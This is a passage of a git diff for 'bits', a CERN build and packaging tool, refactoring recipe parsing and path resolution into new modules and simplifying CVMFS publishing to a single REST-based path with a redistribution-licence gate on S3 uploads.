status, out = performPreferCheck(spec, trackingCode) + dieOnError(status, f"Error while executing track_env for {key}: {trackingCode} => {out}") + trackingEnvCache[key] = out + spec["track_env"][env] = trackingEnvCache[key] + + if (not systemExcluded or allowSystemPackageUpload) and (preferSystem or systemREMatches): + requested_version = resolve_version(spec, defaults, "unavailable", "unavailable") + cmd = "REQUESTED_VERSION={version}\n{check}".format( + version=quote(requested_version), + check=spec.get("prefer_system_check", "false"), + ).strip() + if spec["package"] not in testCache: + testCache[spec["package"]] = performPreferCheck(spec, cmd) + err, output = testCache[spec["package"]] + if err: + # prefer_system_check errored; this means we must build the package ourselves. + ownPackages.add(spec["package"]) + else: + # prefer_system_check succeeded; this means we should use the system package. + match = re.search(r"^bits_system_replace:(?P.*)$", output, re.MULTILINE) + if not match and systemExcluded: + # No replacement spec name given. Fall back to old system package + # behaviour and just disable the package. + ownPackages.add(spec["package"]) + elif not match and not systemExcluded: + # No replacement spec name given. Fall back to old system package + # behaviour and just disable the package. + systemPackages.add(spec["package"]) + if spec["package"] not in _disable_set: + disable.append(spec["package"]) + _disable_set.add(spec["package"]) + elif match: + # The check printed the name of a replacement; use it. + key = match.group("key").strip() + replacement = None + for replacement_matcher in spec["prefer_system_replacement_specs"]: + if re.match(replacement_matcher, key): + replacement = spec["prefer_system_replacement_specs"][replacement_matcher] + break + if replacement: + # We must keep the package name the same, since it is used to + # specify dependencies. + replacement["package"] = spec["package"] + # The version is required for all specs. What we put there will + # influence the package's hash, so allow the user to override it. + replacement.setdefault("version", requested_version) + # Carry over structural keys set on the original spec earlier in + # getPackageList that build.py needs and that are NOT recomputed for + # the replacement. pkgdir (the recipe directory, used for PKGDIR) is + # mandatory — without it doBuild raises KeyError: 'pkgdir' when it + # builds the replacement (e.g. a HomebrewRecipe shim). + for _carry in ("pkgdir", "recipe_provider", "recipe_provider_hash", + "recipe_source", "force_revision"): + if _carry in spec and _carry not in replacement: + replacement[_carry] = spec[_carry] + spec = replacement + # Allows generalising the version based on the actual key provided + spec["version"] = spec["version"].replace("%(key)s", key) + # We need the key to inject the version into the replacement recipe later. + spec["key"] = key + recipe = replacement.get("recipe", "") + # If there's an explicitly-specified recipe, we're still building + # the package. If not, Bits will still "build" it, but it's + # basically instantaneous, so report to the user that we're taking + # it from the system. + if recipe: + ownPackages.add(spec["package"]) + else: + systemPackages.add(spec["package"]) + else: + warning(f"Could not find named replacement spec for {spec['package']}: {key}, " + "falling back to building the package ourselves.") + + dieOnError(("system_requirement" in spec) and recipe.strip("\n\t "), + "System requirements %s cannot have a recipe" % spec["package"]) + if re.match(spec.get("system_requirement", "(?!.*)"), architecture): + cmd = spec.get("system_requirement_check", "false") + if spec["package"] not in requirementsCache: + requirementsCache[spec["package"]] = performRequirementCheck(spec, cmd.strip()) + + err, output = requirementsCache[spec["package"]] + if err: + failedRequirements.update([spec["package"]]) + spec["version"] = "failed" + else: + if spec["package"] not in _disable_set: + disable.append(spec["package"]) + _disable_set.add(spec["package"]) + + spec["disabled"] = list(disable) + if spec["package"] in disable: + continue + + # Check whether the package is compatible with the specified defaults + if validDefaults is not None: + (ok,msg,valid) = performValidateDefaults(spec) + if valid: + validDefaults = [ v for v in validDefaults if v in valid ] if validDefaults else valid[:] + if not validDefaults: + validDefaults = None # no valid default works for all current packages + + # Collect version pins declared by this spec's requires / build_requires + # *before* the lists are reduced to plain package names by the filter step + # below. We pass the raw YAML lists so that _collect_version_pins can see + # the full "name = version[:matcher]" strings. + # Variables declared in the active --defaults profile(s) (`variables:` block) + # gate "(?VAR)" conditional requires, e.g. "- cuda:(?cuda)". + _default_vars = (defaults_meta or {}).get("variables") + # The depending package's own version, so a requirement can be gated on it + # via "name:version>=X" (matched in sort -V order). Use the recipe/defaults + # value resolved so far (dependent-declared pins are applied later and do + # not affect a package's own requires gating). + _own_version = spec.get("version") + _collect_version_pins( + architecture, defaults, + list(spec.get("requires", [])) + list(spec.get("build_requires", [])), + spec["package"], _version_pins, specs, + default_vars=_default_vars, version=_own_version, + ) + + # For the moment we treat build_requires just as requires. + fn = lambda what: disabledByArchitectureDefaults(architecture, defaults, spec.get(what, []), _default_vars, _own_version) + spec["disabled"] += [x for x in fn("requires")] + spec["disabled"] += [x for x in fn("build_requires")] + spec["disabled"] += [x for x in fn("untracked_requires")] + fn = lambda what: filterByArchitectureDefaults(architecture, defaults, spec.get(what, []), _default_vars, _own_version) + spec["requires"] = [x for x in fn("requires") if x not in disable] + spec["build_requires"] = [x for x in fn("build_requires") if x not in disable] + # untracked_requires: real, runtime-linked dependencies that are deliberately + # NOT folded into this package's identity hash (see storeHashes), so editing + # one does not invalidate/rebuild its consumers. They still take part in the + # dependency graph, build ordering and environment via `requires`. + spec["untracked_requires"] = [x for x in fn("untracked_requires") if x not in disable] + if spec["package"] != "defaults-release": + spec["build_requires"].append("defaults-release") + spec["runtime_requires"] = spec["requires"] + spec["requires"] = spec["runtime_requires"] + spec["build_requires"] + spec["untracked_requires"] + # Reverse-dependency trace: remember who pulled in each dependency so a later + # "package not found" can name the requiring recipe(s) and their origin + # instead of only the missing name. Keyed by the bare dep name (version / + # arch qualifiers stripped) lowercased, matching how pkg_filename is derived + # when the dep is later resolved. + _req_label = "{} ({})".format(spec["package"], spec.get("recipe_source", "?")) + for _dep in spec["requires"]: + _dk = re.split(r"[:=]", _dep, 1)[0].strip().lower() + if _dk: + required_by.setdefault(_dk, set()).add(_req_label) + # Check that version is a string + dieOnError(not isinstance(spec["version"], str), + "In recipe \"%s\": version must be a string" % p) + spec["tag"] = spec.get("tag", spec["version"]) + # Apply any version pin registered for this package. The pin is set by a + # dependent that declared "- depname = version" in its requires list. We + # apply it here — after recipe defaults and defaults-*.sh overrides — so + # that the pin takes the highest precedence. Both "version" and "tag" are + # updated so that tarball URLs (%(version)s) and git checkouts (tag) both + # see the pinned value. + if spec["package"] in _version_pins: + _pin = _version_pins[spec["package"]] + debug("Applying version pin to %s: %s -> %s", spec["package"], + spec.get("version"), _pin) + spec["version"] = _pin + spec["tag"] = _pin + spec["version"] = spec["version"].replace("/", "_") + # Resolve version-/arch-/defaults-conditional patches now that the version is + # final (after overrides + pins). filterPatches drops inactive entries and + # strips the :matcher, so the hash, checkout copy, $PATCHn env and patch + # application all see the same plain name[,checksum] list. + if "patches" in spec: + spec["patches"] = filterPatches(spec.get("patches"), architecture, defaults, + _default_vars, spec["version"]) + spec["recipe"] = recipe.strip("\n") + if spec["package"] in force_rebuild: + spec["force_rebuild"] = True + # Resolve optional package family (e.g. "cms", "lcg") from defaults metadata. + # Falls back to "" when no package_family mapping is configured, preserving + # the legacy install layout //-. + spec["pkg_family"] = resolve_pkg_family(defaults_meta or {}, spec["package"]) + + specs[spec["package"]] = spec + packages += spec["requires"] + + # ── Recipe-origin summary (package@repository:commit) ─────────────────────── + # One compact, always-on block grouping every resolved recipe by the + # repository@commit it was loaded from. Complements the per-recipe debug lines + # above with an at-a-glance map of which source supplied which packages — the + # authoritative trace for diagnosing stale or unexpected recipe resolution. + if recipe_sources: + by_source = OrderedDict() + for _pkg, _src in sorted(recipe_sources.items()): + by_source.setdefault(_src, []).append(_pkg) + banner("Recipe origins: %d package(s) from %d source(s)", + len(recipe_sources), len(by_source)) + for _src, _pkgs in by_source.items(): + log(" %s ← %s", _src, ", ".join(_pkgs)) + + return (systemPackages, ownPackages, failedRequirements, validDefaults) diff --git a/bits_helpers/paths.py b/bits_helpers/paths.py new file mode 100644 index 00000000..5bafb6b2 --- /dev/null +++ b/bits_helpers/paths.py @@ -0,0 +1,100 @@ +# SPDX-FileCopyrightText: 2015-2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later + +"""Config- and recipe-file path resolution: locate recipe/defaults ``.sh`` files +across the config dir and taps, and list the search paths. Split out of +utilities.py as a leaf (depends only on the logger), so the recipe and defaults +layers above it can share these without an import cycle.""" + +import os +from os.path import exists, join + +from bits_helpers.log import dieOnError, error + +def checkForFilename(taps, pkg, d, ext=".sh"): + filename = taps.get(pkg, "{}/{}{}".format(d, pkg, ext)) + if not exists(filename): + if "/" in pkg: + filename = taps.get(pkg, "{}/{}".format(d, pkg)) + else: + filename = taps.get(pkg, "{}/{}/latest".format(d, pkg)) + return filename + +def resolveLocalPath(configDir, s): + """ + Resolves a local path if it is a file://filename. + If the path is not a file://filename, it returns the string `s` as is. + Args: + configDir: The configuration directory. + s: The path to resolve. + Returns: + The resolved path. + """ + if s.startswith("file://"): + return f"file:/" + os.path.abspath(resolveFilename({}, s.removeprefix("file://"), configDir, {}, ext="")[0]) + else: + return s + +def getConfigPaths(configDir): + """Return the ordered list of directories to search for recipe files. + + Each entry in the ``BITS_PATH`` environment variable is interpreted as: + + * An **absolute path** – used directly (no ``.bits`` suffix appended). + Used by repository-provider checkouts: a cloned provider under + ``$BITS_WORK_DIR/REPOS/``, or a locally-shadowed provider under the + config dir (see repo_provider._local_provider_dir). + * A **relative name** – resolved as ``/.bits`` (the + original behaviour for named recipe repositories). + """ + configPath = os.environ.get("BITS_PATH") + pkgDirs = [configDir] + if configPath: + for r in [x for x in configPath.split(",") if x]: + if os.path.isabs(r): + d = r # provider checkout – absolute path used directly + else: + d = join(configDir, "%s.bits" % r) + if exists(d): + pkgDirs.append(d) + return pkgDirs + +def resolveFilename(taps, pkg, configDir, generatedPackages, ext=".sh", required_by=None): + for d in getConfigPaths(configDir): + if d in generatedPackages and pkg in generatedPackages[d]: + meta = generatedPackages[d][pkg] + return ("generate:{}@{}".format(pkg, meta["version"]), meta["pkgdir"]) + filename = checkForFilename(taps, pkg, d, ext=ext) + if exists(filename): + return (filename, d) + # Name the recipe(s) that pulled this dependency in (with their origin), so the + # operator sees WHO required a missing package, not just that it is missing. + reqline = "" + if required_by: + reqline = "\nRequired by: " + ", ".join(sorted(required_by)) + dieOnError(True, + "Package {pkg} not found on any loaded recipe path (searched " + "BITS_PATH, primary config dir: {cfg}).{req}\n" + "If {pkg} is provided by a repository that was not loaded, add " + "`always_load: true` to that provider's recipe (alongside " + "`provides_repository: true`) so it is cloned before resolution — or " + "list it in BITS_PROVIDERS. A repository-provider is otherwise " + "auto-loaded only when it appears as a dependency in the build graph, " + "which a base recipe repository usually does not.".format( + pkg=pkg, cfg=configDir, req=reqline)) + +def resolveDefaultsFilename(defaults, configDir, failOnError=True): + """Return the path of ``defaults-.sh`` searched across all config paths. + + Uses :func:`getConfigPaths` to build the search list so that BITS_PATH + provider checkouts are honoured consistently with :func:`resolveFilename`. + """ + filename = None + for d in getConfigPaths(configDir): + candidate = "{}/defaults-{}.sh".format(d, defaults) + if exists(candidate): + return candidate + filename = candidate # keep last candidate for the error message + + if failOnError: + error("Default `%s' does not exist.\n" % (defaults or "")) diff --git a/bits_helpers/preload_cmd.py b/bits_helpers/preload_cmd.py index 923cfbaa..32553f16 100644 --- a/bits_helpers/preload_cmd.py +++ b/bits_helpers/preload_cmd.py @@ -76,7 +76,7 @@ def load_config(yaml_text): mappings; ``arch`` accepts a scalar or list (None ⇒ discover). An empty/{} ``packages`` means "all packages that carry a recipe preload:". """ - from bits_helpers.utilities import yamlLoad + from bits_helpers.recipe import yamlLoad data = yamlLoad(yaml_text) or {} arch = data.get("arch") if isinstance(arch, str): @@ -399,7 +399,7 @@ def main(argv=None): ap.error("--docker requires --docker-image IMAGE") def recipe_reader(pkg): - from bits_helpers.utilities import parseRecipe, FileReader + from bits_helpers.recipe import parseRecipe, FileReader path = os.path.join(a.config_dir, pkg + ".sh") if not os.path.isfile(path): return None diff --git a/bits_helpers/progress.py b/bits_helpers/progress.py index c9ed7916..a99c26b9 100644 --- a/bits_helpers/progress.py +++ b/bits_helpers/progress.py @@ -206,8 +206,3 @@ def tick(package): _post("running", pct, desc) -def finish(success=True): - """Post a terminal status. Normally called from the CI after_script.""" - with _lock: - total = _state["total"] or _state["done"] - _post("success" if success else "failed", 100, "{0}/{0} done".format(total)) diff --git a/bits_helpers/publish.py b/bits_helpers/publish.py index fa8983ca..564a2ff3 100644 --- a/bits_helpers/publish.py +++ b/bits_helpers/publish.py @@ -1,7 +1,7 @@ # SPDX-FileCopyrightText: 2015-2026 CERN # SPDX-License-Identifier: GPL-3.0-or-later -"""bits publish — copy, relocate, and stream a built package to a CVMFS ingestion spool. +"""bits publish — copy, relocate, and hand a built package to cvmfs-prepub. Pipeline on the build host --------------------------- @@ -9,22 +9,15 @@ 2. ``rsync`` it to a temporary CVMFS working copy (scratch directory). 3. Run ``relocate-me.sh`` inside the copy, rewriting all embedded paths to the final CVMFS target path. -4. Start an ``inotifywait`` watcher on the working copy *before* relocation - so that every file written by the relocation script is immediately queued - for transfer; relocation and transfer therefore overlap in time. -5. ``rsync`` each modified file (or the whole tree on systems without - inotifywait) to the ingestion spool ``incoming//`` directory. -6. Write a ``.done`` sentinel to the spool inbox. The ingestion - daemon treats sentinel arrival as the signal that all file content has - landed and it can begin finalisation for this package. -7. Remove the working copy from the scratch directory. +4. Package the relocated tree as a tar and POST it to the cvmfs-prepub REST + API (``--prepub-url``), which ingests it into CVMFS; poll until published. +5. Remove the working copy from the scratch directory. The original INSTALLROOT under *workDir* is never modified. """ import os import re -import shlex import shutil import subprocess import sys @@ -33,7 +26,7 @@ from os.path import abspath, basename, exists, join from bits_helpers.log import debug, error, info, warning, banner -from bits_helpers.utilities import detectArch +from bits_helpers.arch import detectArch # --------------------------------------------------------------------------- @@ -93,11 +86,12 @@ def _pkg_id(package, version_dir, architecture): Format: ``--`` with slashes replaced by underscores. All three components have '/' replaced so that the resulting ID is always a - single path segment — it can never escape ``spool/incoming/`` via traversal. + single path segment — it can never traverse out of a directory when used as + a path component (e.g. the prepub tar's per-package subpath). """ - # FIX: replace '/' in package just as we do for architecture and version_dir. + # Replace '/' in package just as we do for architecture and version_dir. # Without this, a package name like '../../etc' would produce a pkg_id that - # traverses out of spool/incoming/ when used as a path component. + # traverses out of its directory when used as a path component. pkg_tag = package.replace("/", "_") arch_tag = architecture.replace("/", "_").replace("-", "_") ver_tag = version_dir.replace("/", "_") @@ -129,11 +123,20 @@ def _load_manifest_spec(work_dir, package, version): def _publish_s3(package, version, architecture, work_dir, write_store, parser, dry_run=False): """Upload an already-built package's tarball to the S3 write store for reuse.""" - from bits_helpers.sync import remote_from_url + from bits_helpers.sync import remote_from_url, binary_redistributable e = _load_manifest_spec(work_dir, package, version) if not e or not e.get("hash"): parser.error("no built manifest entry for %s%s in %s — build it first" % (package, (" " + version) if version else "", work_dir)) + # redistributable: sources|none (QGRAF, CPC, vendor EULAs …): the binary must + # not land in a potentially world-readable store — uploading IS redistribution. + # Skip it, matching the build-time and bulk-publish upload gates (fail closed). + if not binary_redistributable(e): + banner("NOT uploading %s to the S3 store: its recipe declares " + "redistributable: %s (the licence forbids public binary " + "redistribution). Build it locally where it is needed.", + package, e.get("redistributable")) + return spec = {"package": e["package"], "version": e.get("version"), "revision": e.get("revision"), "hash": e["hash"]} arch = e.get("effective_architecture") or architecture @@ -467,7 +470,7 @@ def _system_from_manifest(manifest_doc): if not cfg or not os.path.isdir(cfg): return {} try: - from bits_helpers.utilities import readDefaults + from bits_helpers.defaults import readDefaults meta, _ = readDefaults(cfg, defs, lambda _m: None, None) sysd = meta.get("system") return sysd if isinstance(sysd, dict) else {} @@ -532,124 +535,10 @@ def _submit_certification_mr(args, parser, build_id, bom): mr.get("web_url") or ("!%s" % mr.get("iid"))) -def _spool_is_remote(spool): - """Return True when *spool* is a remote ``[user@]host:path`` spec.""" - # A single colon that is not a Windows drive letter indicates remote. - return bool(re.match(r'^(?:[^/]+@)?[^/:]+:.+', spool)) -def _rsync_to_spool(src, spool, pkg_id, extra_opts=None, remove_source=False): - """rsync *src* (file or directory) to ``/incoming//``. - *spool* may be a local path or a remote ``[user@]host:path``. - """ - dest_base = f"{spool}/incoming/{pkg_id}/" - cmd = ["rsync", "-a", "--mkpath"] - if remove_source: - cmd.append("--remove-source-files") - if extra_opts: - cmd.extend(shlex.split(extra_opts)) - cmd += [src, dest_base] - debug("rsync: %s", " ".join(shlex.quote(c) for c in cmd)) - result = subprocess.run(cmd, check=False) - if result.returncode not in (0, 24): # 24 = "vanished source files" — benign - error("rsync failed with exit code %d", result.returncode) - sys.exit(result.returncode) - - -def _write_sentinel(spool, pkg_id, cvmfs_target, rsync_opts=None): - """Write and transfer the ``.done`` sentinel for *pkg_id*. - - The sentinel is a small text file that carries the *cvmfs_target* so the - ingestion daemon can construct graft paths without additional out-of-band - configuration. - """ - # FIX: the sentinel uses a line-oriented key=value format; a newline in - # either value would inject a spurious field that the ingestion daemon - # might misinterpret. Reject before writing. - for _field, _val in (("pkg_id", pkg_id), ("cvmfs_target", cvmfs_target)): - if "\n" in _val or "\r" in _val: - raise ValueError( - f"Sentinel field '{_field}' contains a newline character which " - f"would corrupt the sentinel file: {_val!r}" - ) - with tempfile.NamedTemporaryFile( - mode="w", suffix=".done", prefix=pkg_id, delete=False - ) as fh: - fh.write(f"pkg_id={pkg_id}\ncvmfs_target={cvmfs_target}\n") - sentinel_path = fh.name - - dest = f"{spool}/incoming/{pkg_id}.done" - if _spool_is_remote(spool): - cmd = ["rsync", "-a"] - if rsync_opts: - cmd.extend(shlex.split(rsync_opts)) - cmd += [sentinel_path, dest] - else: - os.makedirs(f"{spool}/incoming", exist_ok=True) - cmd = ["cp", sentinel_path, dest] - debug("sentinel: %s -> %s", sentinel_path, dest) - result = subprocess.run(cmd, check=False) - os.unlink(sentinel_path) - if result.returncode != 0: - error("Failed to write sentinel (exit %d)", result.returncode) - sys.exit(result.returncode) - - -# --------------------------------------------------------------------------- -# inotifywait-based streaming transfer -# --------------------------------------------------------------------------- - -def _stream_with_inotify(copy_dir, spool, pkg_id, rsync_opts=None): - """Watch *copy_dir* with inotifywait and rsync each closed file immediately. - - Returns a watcher ``Popen`` object. The caller must call - ``watcher.terminate()`` after relocation is complete and all queued files - have been transferred. - - Falls back to ``None`` (silent no-op) when inotifywait is not available; - in that case the caller performs a single bulk rsync after relocation. - """ - if shutil.which("inotifywait") is None: - debug("inotifywait not available — will fall back to bulk rsync after relocation") - return None - - # inotifywait outputs one line per event: " " - inotify_cmd = [ - "inotifywait", - "--monitor", - "--recursive", - "--format", "%w%f", - "--event", "close_write", - copy_dir, - ] - debug("starting inotifywait: %s", " ".join(inotify_cmd)) - watcher = subprocess.Popen( - inotify_cmd, - stdout=subprocess.PIPE, - stderr=subprocess.DEVNULL, - text=True, - ) - - # Drain the watcher output in a background thread so we don't block. - import threading - - def _drain(): - for line in watcher.stdout: - path = line.rstrip("\n") - if not path or not os.path.isfile(path): - continue - rel = os.path.relpath(path, copy_dir) - dest_dir = f"{spool}/incoming/{pkg_id}/{os.path.dirname(rel)}" - if not _spool_is_remote(spool): - os.makedirs(dest_dir, exist_ok=True) - _rsync_to_spool(path, spool, join(pkg_id, os.path.dirname(rel)).rstrip("/"), - extra_opts=rsync_opts) - - t = threading.Thread(target=_drain, daemon=True) - t.start() - return watcher # --------------------------------------------------------------------------- @@ -659,18 +548,11 @@ def _drain(): def doPublish(args, parser): """Orchestrate the build-host publishing pipeline. - Two mutually exclusive delivery paths are supported: - - Legacy spool path (bits-ingest + bits-cvmfs-publisher runners): - Requires ``--spool``. Rsyncs the relocated tree to the spool's - ``incoming//`` directory and writes a ``.done`` sentinel. - - cvmfs-prepub direct path: - Requires ``--prepub-url``. Packages the relocated tree as a tar, - POSTs it to the cvmfs-prepub REST API, and polls until the job - reaches ``published``. + cvmfs-prepub path (``--prepub-url``, required for CVMFS publish): + Relocate the package, package the tree as a tar, POST it to the + cvmfs-prepub REST API, and poll until the job reaches ``published``. - View mode (``--view NAME``): + View mode (``--release-view NAME``): Publishes the merged release view rather than a package; delegated to :func:`bits_helpers.view_publish_cmd.doPublishView`. Returns its bool. """ @@ -686,8 +568,8 @@ def doPublish(args, parser): _fm = "latest" if _fm is not None: architecture = getattr(args, "architecture", None) or detectArch() - store_url = (getattr(args, "publishStore", None) - or "https://s3.cern.ch/lcgapp-bits-testing") + from bits_helpers.args import DEFAULT_S3_STORE + store_url = getattr(args, "publishStore", None) or DEFAULT_S3_STORE _res = _publish_from_manifest(architecture, abspath(args.workDir), store_url, parser, manifest=_fm, dry_run=getattr(args, "dryRun", False)) if _res: @@ -710,16 +592,14 @@ def doPublish(args, parser): return if not getattr(args, "package", None): - parser.error("publish: PACKAGE is required (or use --view NAME to publish a release view).") + parser.error("publish: PACKAGE is required (or use --release-view NAME to publish a release view).") architecture = getattr(args, "architecture", None) or detectArch() work_dir = abspath(args.workDir) package = args.package version = getattr(args, "version", None) cvmfs_target = args.cvmfsTarget - spool = getattr(args, "spool", None) scratch_dir = getattr(args, "scratchDir", None) - rsync_opts = getattr(args, "rsyncOpts", None) prepub_url = getattr(args, "prepubUrl", None) prepub_token = getattr(args, "prepubToken", None) @@ -731,37 +611,13 @@ def doPublish(args, parser): prepub_no_verify_tls = getattr(args, "prepubNoVerifyTls", False) prepub_bearer_auth = getattr(args, "prepubBearerAuth", False) - # ------------------------------------------------------------------ - # Validate: exactly one of --spool / --prepub-url must be provided. - # ------------------------------------------------------------------ - # ── Resolve publish target(s) ───────────────────────────────────────────── - # Backward-compatible default: 'cvmfs' when --cvmfs-target is given (the - # existing pipeline call), otherwise 's3'. --to overrides. - _to = getattr(args, "publishTo", None) - if _to == "both": - targets = {"s3", "cvmfs"} - elif _to: - targets = {_to} - else: - targets = {"cvmfs"} if cvmfs_target else {"s3"} - - if "s3" in targets: - write_store = (getattr(args, "writeStore", "") or os.environ.get("BITS_WRITE_STORE") - or os.environ.get("WRITE_STORE") or "") - if not write_store: - parser.error("--to s3 requires a write store (--write-store, or WRITE_STORE / BITS_WRITE_STORE).") - _publish_s3(package, version, architecture, work_dir, write_store, parser, - dry_run=getattr(args, "dryRun", False)) - if "cvmfs" not in targets: - return - - # CVMFS publish needs a target path and exactly one sink (--spool | --prepub-url). + # Single-package publish is CVMFS-only via the cvmfs-prepub service. The + # S3-store write is a separate command now: `bits store upload PACKAGE`. if not cvmfs_target: - parser.error("--to cvmfs requires --cvmfs-target.") - if prepub_url and spool: - parser.error("--prepub-url and --spool are mutually exclusive; use one or the other.") - if not prepub_url and not spool: - parser.error("one of --spool or --prepub-url is required.") + parser.error("publish PACKAGE publishes to CVMFS and requires --cvmfs-target; " + "to upload a package to the S3 store use `bits store upload`.") + if not prepub_url: + parser.error("publishing to CVMFS requires --prepub-url.") # ------------------------------------------------------------------ # 0. Redistribution policy gate @@ -794,10 +650,7 @@ def doPublish(args, parser): info("installroot : %s", installroot) info("pkg_id : %s", pkg_id) info("cvmfs target: %s", cvmfs_target) - if spool: - info("spool : %s", spool) - else: - info("prepub url : %s", prepub_url) + info("prepub url : %s", prepub_url) no_relocate = getattr(args, "noRelocate", False) relocate_script = join(installroot, "relocate-me.sh") @@ -829,27 +682,13 @@ def doPublish(args, parser): if no_relocate: # ------------------------------------------------------------------ - # 3–5. Skip relocation: package was built with --cvmfs-prefix so - # all embedded paths are already correct for CVMFS. + # 3. Skip relocation: package was built with --cvmfs-prefix so all + # embedded paths are already correct for CVMFS. # ------------------------------------------------------------------ info("--no-relocate: skipping relocation (package built at final CVMFS path)") - if spool: - info("Transferring tree to spool …") - _rsync_to_spool(copy_dir + "/", spool, pkg_id, - extra_opts=rsync_opts, remove_source=False) else: # ------------------------------------------------------------------ # 3. Relocate working copy to final CVMFS target path. - # - # For the spool path, start inotifywait before relocation so that - # modified files are streamed to the spool concurrently. For the - # prepub path we skip inotify — the final tar is built after - # relocation completes, so there is nothing to stream incrementally. - # ------------------------------------------------------------------ - watcher = _stream_with_inotify(copy_dir, spool, pkg_id, rsync_opts) if spool else None - - # ------------------------------------------------------------------ - # 4. Relocate working copy to final CVMFS target path # ------------------------------------------------------------------ info("Relocating to %s …", cvmfs_target) env = {**os.environ, "INSTALL_BASE": cvmfs_target} @@ -861,45 +700,10 @@ def doPublish(args, parser): ) if result.returncode != 0: error("relocate-me.sh failed (exit %d)", result.returncode) - if watcher: - watcher.terminate() sys.exit(result.returncode) - # ------------------------------------------------------------------ - # 5. Stop watcher (spool path) or skip (prepub path) - # ------------------------------------------------------------------ - if spool: - if watcher: - import time - # Give the drain thread a moment to flush the last events. - time.sleep(1) - watcher.terminate() - watcher.wait() - else: - info("Transferring relocated tree to spool …") - _rsync_to_spool(copy_dir + "/", spool, pkg_id, - extra_opts=rsync_opts, remove_source=False) - - # ------------------------------------------------------------------ - # 6a. Legacy spool path — write .done sentinel - # ------------------------------------------------------------------ - if spool: - info("Writing sentinel %s.done …", pkg_id) - _write_sentinel(spool, pkg_id, cvmfs_target, rsync_opts=rsync_opts) - - # ------------------------------------------------------------------ - # 7a. Cleanup working copy (spool path) - # ------------------------------------------------------------------ - info("Cleaning up working copy …") - shutil.rmtree(copy_dir, ignore_errors=True) - if not scratch_dir: - shutil.rmtree(_tmpparent, ignore_errors=True) - - info("Done — package %s queued for ingestion.", pkg_id) - return - # ------------------------------------------------------------------ - # 6b. cvmfs-prepub direct path — each independent directory tree is + # 4. cvmfs-prepub path — each independent directory tree is # tar'd and submitted to *its own* CVMFS path. The package payload # and the modulefiles live in different trees (install_dir vs # module_dir), so a single tar would land the modulefiles inside the diff --git a/bits_helpers/recipe.py b/bits_helpers/recipe.py new file mode 100644 index 00000000..29c1f135 --- /dev/null +++ b/bits_helpers/recipe.py @@ -0,0 +1,366 @@ +# SPDX-FileCopyrightText: 2015-2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later + +"""Recipe reading and parsing: locate a recipe (file / git / generated), load its +YAML front-matter (with ``!include`` support), and turn it into a validated spec +dict. Also the spec-level exception, spec validation, and the override merge +policy applied during parsing. Imports the file-path helpers from +bits_helpers.paths; utilities imports back the three entry points its defaults +and package-list code calls.""" + +import json +import os +import re +import sys +from collections import OrderedDict +from glob import glob +from os.path import join +from typing import Any, IO + +import yaml + +from bits_helpers.cmd import getoutput +from bits_helpers.git import git +from bits_helpers.log import dieOnError +from bits_helpers.paths import getConfigPaths, resolveFilename + +class SpecError(Exception): + pass + + +def validateSpec(spec): + if not spec: + raise SpecError("Empty recipe.") + if type(spec) != OrderedDict: + raise SpecError("Not a YAML key / value.") + if "package" not in spec: + raise SpecError("Missing package field in header.") + + +def getRecipeReader(url: str, dist=None, genPackages={}): + m = re.search(r'^(dist|generate):(.*)@([^@]+)$', url) + if m and m.group(1) == "generate": + pkg, version = m.group(2), m.group(3) + # search across all generated dirs + if pkg in genPackages and genPackages[pkg]["version"] == version: + return GeneratedPackage(genPackages[pkg]) + raise ValueError(f"Generated package {pkg}@{version} not found") + elif m and dist: + return GitReader(url, dist) + else: + return FileReader(url) + +# Generate a recipe of package +class GeneratedPackage: + def __init__(self, obj) -> None: + self.command = obj["command"] + self.url = obj["url"] + def __call__(self): + return getoutput(self.command).strip() + +# Read a recipe from a file +class FileReader: + def __init__(self, url) -> None: + self.url = url + def __call__(self): + with open(self.url) as f: + return f.read() + +# Read a recipe from a git repository using git show. +class GitReader: + def __init__(self, url, configDir) -> None: + self.url, self.configDir = url, configDir + def __call__(self): + m = re.search(r'^dist:(.*)@([^@]+)$', self.url) + fn, gh = m.groups() + err, d = git(("show", f"{gh}:{fn.lower()}.sh"), + directory=self.configDir) + if err: + raise RuntimeError("Cannot read recipe {fn} from reference {gh}.\n" + "Make sure you run first (this will not alter your recipes):\n" + " cd {dist} && git remote update -p && git fetch --tags" + .format(dist=self.configDir, gh=gh, fn=fn)) + return d + +def yamlDump(s): + # Ordered-map YAML dumper. Kept for external recipe generators (e.g. cms.bits) + # that import yamlLoad/yamlDump from bits_helpers to re-emit a recipe header. + class YamlOrderedDumper(yaml.SafeDumper): + pass + def represent_ordereddict(dumper, data): + rep = [] + for k, v in data.items(): + k = dumper.represent_data(k) + v = dumper.represent_data(v) + rep.append((k, v)) + return yaml.nodes.MappingNode('tag:yaml.org,2002:map', rep) + YamlOrderedDumper.add_representer(OrderedDict, represent_ordereddict) + return yaml.dump(s, Dumper=YamlOrderedDumper) + + +def yamlLoad(s): + class YamlSafeOrderedLoader(yaml.SafeLoader): + """YAML Loader with `!include` constructor.""" + + def __init__(self, stream: IO) -> None: + """Initialise Loader.""" + try: + self._root = os.path.split(stream.name)[0] + except AttributeError: + self._root = os.path.curdir + super().__init__(stream) + + def construct_include(loader: YamlSafeOrderedLoader, node: yaml.Node) -> Any: + """Include file referenced at node.""" + filename = os.path.abspath(os.path.join(loader._root, loader.construct_scalar(node))) + extension = os.path.splitext(filename)[1].lstrip('.') + try: + with open(filename) as f: + if extension in ('yaml', 'yml'): + try: + return yaml.load(f, YamlSafeOrderedLoader) + except (yaml.scanner.ScannerError, yaml.parser.ParserError) as e: + raise yaml.constructor.ConstructorError( + None, None, + "!include: failed to parse YAML file %r: %s" % (filename, e), + node.start_mark) + elif extension in ('json', ): + try: + return json.load(f) + except ValueError as e: + raise yaml.constructor.ConstructorError( + None, None, + "!include: failed to parse JSON file %r: %s" % (filename, e), + node.start_mark) + else: + return ''.join(f.readlines()) + except OSError as e: + raise yaml.constructor.ConstructorError( + None, None, + "!include: cannot open file %r: %s" % (filename, e), + node.start_mark) + + def construct_mapping(loader, node): + loader.flatten_mapping(node) + return OrderedDict(loader.construct_pairs(node)) + + YamlSafeOrderedLoader.add_constructor('!include', construct_include) + YamlSafeOrderedLoader.add_constructor(yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, + construct_mapping) + return yaml.load(s, YamlSafeOrderedLoader) + +# Whole-line recipe-body include directive: +# #!include (resolved under the recipes repo root) +# #!include "local/path.sh" (resolved relative to the recipe's dir) +# +# The marker is `#!include`, NOT plain `#include`: recipe bodies routinely embed +# literal C `#include ` lines inside heredocs that generate test +# programs (e.g. 